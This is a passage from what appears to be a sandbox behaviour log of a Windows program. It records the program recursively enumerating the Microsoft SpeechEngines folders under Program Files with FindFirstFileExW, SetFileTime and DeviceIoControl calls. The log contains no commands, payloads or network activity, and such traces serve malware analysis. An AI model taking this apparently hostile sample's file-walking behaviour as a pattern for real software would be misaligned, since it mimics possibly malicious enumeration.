fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0065.111] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0065.111] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.111] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0065.111] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0065.112] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0065.112] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.113] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0065.113] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.113] NtClose (Handle=0x190) returned 0x0 [0065.113] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.113] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.113] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0065.113] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.113] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0065.113] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.113] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0065.113] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0065.113] GetLastError () returned 0x12 [0065.113] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0065.113] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0065.113] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.113] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0065.113] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0065.114] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0065.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.114] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0065.114] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.114] NtClose (Handle=0x190) returned 0x0 [0065.114] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd88 [0065.114] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0065.114] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.114] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.114] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0065.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.114] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.114] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.114] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.115] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0065.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.115] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0065.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.115] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0065.115] GetLastError () returned 0x12 [0065.115] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0065.115] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0065.115] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.115] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0065.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5778 [0065.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0065.116] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0065.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.116] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0065.116] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.116] NtClose (Handle=0x190) returned 0x0 [0065.116] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5778) returned 1 [0065.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5778 [0065.116] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5568 [0065.116] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0065.116] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.116] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0065.116] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0065.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.116] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.117] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0065.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5880 [0065.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4000 [0065.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5a90 [0065.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.117] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0065.117] GetLastError () returned 0x12 [0065.117] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d260 [0065.117] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0065.117] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.117] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0065.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5988 [0065.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0065.118] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0065.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.118] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0065.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, 